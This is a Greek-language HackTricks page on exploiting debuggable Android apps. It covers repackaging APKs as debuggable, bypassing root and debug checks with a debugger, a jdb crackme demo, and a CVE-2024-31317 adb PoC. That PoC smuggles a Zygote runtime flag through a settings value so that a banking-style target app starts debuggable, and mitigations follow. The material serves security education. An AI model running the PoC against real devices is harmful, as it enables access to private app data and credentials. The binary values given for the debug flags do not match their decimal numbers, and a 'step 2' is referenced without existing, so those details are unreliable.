Εκμετάλλευση μιας εφαρμογής που μπορεί να αποσφαλματωθεί
Reading time: 7 minutes
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Παράκαμψη ελέγχων root και αποσφαλμάτωσης
Αυτή η ενότητα της ανάρτησης είναι μια σύνοψη από την ανάρτηση https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
Βήματα για να κάνετε μια εφαρμογή Android αποσφαλματώσιμη και να παρακάμψετε ελέγχους
Κάνοντας την εφαρμογή αποσφαλματώσιμη
Περιεχόμενο βασισμένο στο https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- Αποσυμπίεση του APK:
- Χρησιμοποιήστε το εργαλείο APK-GUI για την αποσυμπίεση του APK.
- Στο αρχείο android-manifest, προσθέστε
android:debuggable="true"
για να ενεργοποιήσετε τη λειτουργία αποσφαλμάτωσης. - Επανασυμπιέστε, υπογράψτε και zipalign την τροποποιημένη εφαρμογή.
- Εγκατάσταση της τροποποιημένης εφαρμογής:
- Χρησιμοποιήστε την εντολή:
adb install <application_name>
.
- Ανάκτηση του ονόματος πακέτου:
- Εκτελέστε
adb shell pm list packages –3
για να καταγράψετε τις εφαρμογές τρίτων και να βρείτε το όνομα του πακέτου.
- Ρύθμιση της εφαρμογής να περιμένει σύνδεση αποσφαλμάτωσης:
- Εντολή:
adb shell am setup-debug-app –w <package_name>
. - Σημείωση: Αυτή η εντολή πρέπει να εκτελείται κάθε φορά πριν ξεκινήσει η εφαρμογή για να διασφαλιστεί ότι περιμένει τον αποσφαλματωτή.
- Για μόνιμη ρύθμιση, χρησιμοποιήστε
adb shell am setup-debug-app –w ––persistent <package_name>
. - Για να αφαιρέσετε όλες τις σημαίες, χρησιμοποιήστε
adb shell am clear-debug-app <package_name>
.
- Προετοιμασία για αποσφαλμάτωση στο Android Studio:
- Μεταβείτε στο Android Studio στο File -> Open Profile or APK.
- Ανοίξτε το επανασυμπιεσμένο APK.
- Ρύθμιση σημείων διακοπής σε βασικά αρχεία Java:
- Τοποθετήστε σημεία διακοπής στο
MainActivity.java
(συγκεκριμένα στη μέθοδοonCreate
),b.java
, καιContextWrapper.java
.
Παράκαμψη ελέγχων
Η εφαρμογή, σε ορισμένα σημεία, θα επαληθεύσει αν είναι αποσφαλματώσιμη και θα ελέγξει επίσης για δυαδικά αρχεία που υποδεικνύουν μια ριζωμένη συσκευή. Ο αποσφαλματωτής μπορεί να χρησιμοποιηθεί για να τροποποιήσει τις πληροφορίες της εφαρμογής, να αφαιρέσει τη σημαία αποσφαλμάτωσης και να αλλάξει τα ονόματα των αναζητούμενων δυαδικών αρχείων για να παρακάμψει αυτούς τους ελέγχους.
Για τον έλεγχο αποσφαλμάτωσης:
- Τροποποίηση ρυθμίσεων σημαίας:
- Στην ενότητα μεταβλητών της κονσόλας αποσφαλμάτωσης, μεταβείτε στο:
this mLoadedAPK -> mApplicationInfo -> flags = 814267974
. - Σημείωση: Η δυαδική αναπαράσταση του
flags = 814267974
είναι11000011100111011110
, υποδεικνύοντας ότι η "Flag_debuggable" είναι ενεργή.
Αυτά τα βήματα συλλογικά διασφαλίζουν ότι η εφαρμογή μπορεί να αποσφαλματωθεί και ότι ορισμένοι έλεγχοι ασφαλείας μπορούν να παρακαμφθούν χρησιμοποιώντας τον αποσφαλματωτή, διευκολύνοντας μια πιο εις βάθος ανάλυση ή τροποποίηση της συμπεριφοράς της εφαρμογής.
Το βήμα 2 περιλαμβάνει την αλλαγή μιας τιμής σημαίας σε 814267972, η οποία αναπαρίσταται δυαδικά ως 110000101101000000100010100.
Εκμετάλλευση μιας ευπάθειας
Παρέχεται μια επίδειξη χρησιμοποιώντας μια ευάλωτη εφαρμογή που περιέχει ένα κουμπί και ένα textview. Αρχικά, η εφαρμογή εμφανίζει "Crack Me". Σκοπός είναι να αλλάξει το μήνυμα από "Try Again" σε "Hacked" κατά την εκτέλεση, χωρίς να τροποποιηθεί ο πηγαίος κώδικας.
Έλεγχος για ευπάθεια
- Η εφαρμογή αποσυμπιέστηκε χρησιμοποιώντας το
apktool
για να αποκτήσει πρόσβαση στο αρχείοAndroidManifest.xml
. - Η παρουσία του
android_debuggable="true"
στο AndroidManifest.xml υποδεικνύει ότι η εφαρμογή είναι αποσφαλματώσιμη και επιρρεπής σε εκμετάλλευση. - Αξιοσημείωτο είναι ότι το
apktool
χρησιμοποιείται αποκλειστικά για να ελέγξει την κατάσταση αποσφαλμάτωσης χωρίς να τροποποιήσει κανέναν κώδικα.
Προετοιμασία της ρύθμισης
- Η διαδικασία περιλάμβανε την εκκίνηση ενός εξομοιωτή, την εγκατάσταση της ευάλωτης εφαρμογής και τη χρήση του
adb jdwp
για να εντοπιστούν οι θύρες Dalvik VM που ακούνε. - Το JDWP (Java Debug Wire Protocol) επιτρέπει την αποσφαλμάτωση μιας εφαρμογής που εκτελείται σε μια VM εκθέτοντας μια μοναδική θύρα.
- Η προώθηση θυρών ήταν απαραίτητη για την απομακρυσμένη αποσφαλμάτωση, ακολουθούμενη από την προσάρτηση του JDB στην στοχοθετημένη εφαρμογή.
Εισαγωγή κώδικα κατά την εκτέλεση
- Η εκμετάλλευση πραγματοποιήθηκε με την τοποθέτηση σημείων διακοπής και τον έλεγχο της ροής της εφαρμογής.
- Εντολές όπως
classes
καιmethods <class_name>
χρησιμοποιήθηκαν για να αποκαλύψουν τη δομή της εφαρμογής. - Ένα σημείο διακοπής τοποθετήθηκε στη μέθοδο
onClick
, και η εκτέλεσή της ελέγχθηκε. - Οι εντολές
locals
,next
, καιset
χρησιμοποιήθηκαν για να εξετάσουν και να τροποποιήσουν τις τοπικές μεταβλητές, ειδικότερα αλλάζοντας το μήνυμα "Try Again" σε "Hacked". - Ο τροποποιημένος κώδικας εκτελέστηκε χρησιμοποιώντας την εντολή
run
, αλλάζοντας με επιτυχία την έξοδο της εφαρμογής σε πραγματικό χρόνο.
Αυτό το παράδειγμα απέδειξε πώς μπορεί να χειραγωγηθεί η συμπεριφορά μιας αποσφαλματώσιμης εφαρμογής, υπογραμμίζοντας τη δυνατότητα για πιο σύνθετες εκμεταλλεύσεις όπως η απόκτηση πρόσβασης σε shell στη συσκευή στο πλαίσιο της εφαρμογής.
2024 – Μετατρέποντας οποιαδήποτε εφαρμογή σε αποσφαλματώσιμη διαδικασία (CVE-2024-31317)
Ακόμα και αν το στοχευόμενο APK δεν αποστέλλεται με τη σημαία android:debuggable
, πρόσφατη έρευνα έδειξε ότι είναι δυνατό να αναγκαστούν τυχαίες εφαρμογές να ξεκινούν με τη σημαία χρόνου εκτέλεσης DEBUG_ENABLE_JDWP
εκμεταλλευόμενοι τον τρόπο που ο Zygote αναλύει τα επιχειρήματα γραμμής εντολών.
- Ευπάθεια: Ακατάλληλη επικύρωση των
--runtime-flags
που παρέχονται μέσω της υποδοχής εντολών του Zygote επιτρέπει σε έναν επιτιθέμενο που μπορεί να φτάσει στοsystem_server
(για παράδειγμα μέσω της προνομιακήςadb
shell που κατέχει την άδειαWRITE_SECURE_SETTINGS
) να εισάγει επιπλέον παραμέτρους. Όταν η κατασκευασμένη εντολή αναπαράγεται από τοsystem_server
, η εφαρμογή-στόχος δημιουργείται ως αποσφαλματώσιμη και με ένα νήμα JDWP να ακούει. Το ζήτημα παρακολουθείται ως CVE-2024-31317 και διορθώθηκε στο Android Security Bulletin του Ιουνίου 2024. - Επίπτωση: Πλήρης πρόσβαση ανάγνωσης/εγγραφής στον ιδιωτικό κατάλογο δεδομένων οποιασδήποτε εφαρμογής (συμπεριλαμβανομένων των προνομιακών όπως το
com.android.settings
), κλοπή διαπιστευτηρίων, παράκαμψη MDM, και σε πολλές περιπτώσεις άμεσος δρόμος για κλιμάκωση προνομίων εκμεταλλευόμενοι τα εξαγόμενα IPC endpoints της τώρα αποσφαλματώσιμης διαδικασίας. - Επηρεαζόμενες εκδόσεις: Android 9 έως 14 πριν από το επίπεδο επιδιόρθωσης του Ιουνίου 2024.
Γρήγορο PoC
# Requires: adb shell (device must be <2024-06-01 patch-level)
# 1. Inject a fake API-denylist exemption that carries the malicious Zygote flag
adb shell settings put global hidden_api_blacklist_exemptions "--runtime-flags=0x104|Lcom/example/Fake;->entryPoint:"
# 2. Launch the target app – it will be forked with DEBUG_ENABLE_JDWP
adb shell monkey -p com.victim.bank 1
# 3. Enumerate JDWP PIDs and attach with jdb / Android-Studio
adb jdwp # obtain the PID
adb forward tcp:8700 jdwp:<pid>
jdb -connect com.sun.jdi.SocketAttach:hostname=localhost,port=8700
Η κατασκευασμένη τιμή στο βήμα 1 σπάει τον αναλυτή από την "γρήγορη διαδρομή" και προσθέτει μια δεύτερη συνθετική εντολή όπου
--runtime-flags=0x104
(DEBUG_ENABLE_JDWP | DEBUG_JNI_DEBUGGABLE
) γίνεται αποδεκτή σαν να είχε παρασχεθεί από το πλαίσιο. Μόλις η εφαρμογή ξεκινήσει, ανοίγει ένα socket JDWP και είναι δυνατές οι κανονικές τεχνικές δυναμικού debugging (αντικατάσταση μεθόδων, patching μεταβλητών, ζωντανή ένεση Frida, κ.λπ.) χωρίς να τροποποιηθεί το APK ή η εικόνα εκκίνησης της συσκευής.
Ανίχνευση & Μετριασμός
- Ενημερώστε σε 2024-06-01 (ή αργότερα) επίπεδο ασφαλείας – Η Google ενίσχυσε το
ZygoteCommandBuffer
έτσι ώστε οι επόμενες εντολές να μην μπορούν να λαθραία εισαχθούν με αυτόν τον τρόπο. - Περιορίστε την πρόσβαση
WRITE_SECURE_SETTINGS
/shell
σε παραγωγικές συσκευές. Η εκμετάλλευση απαιτεί αυτή την άδεια, η οποία κανονικά κατέχεται μόνο από εφαρμογές ADB ή OEM-privileged. - Σε στόλους που διαχειρίζονται EMM/MDM, επιβάλετε
ro.debuggable=0
και αρνηθείτε την πρόσβαση shell μέσωadb disable-verifier
.
Αναφορές
- https://medium.com/@shubhamsonani/hacking-with-precision-bypass-techniques-via-debugger-in-android-apps-27fd562b2cc0
- https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications
- https://rtx.meta.security/exploitation/2024/06/03/Android-Zygote-injection.html
- https://blog.flanker017.me/cve-2024-31317/
tip
Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.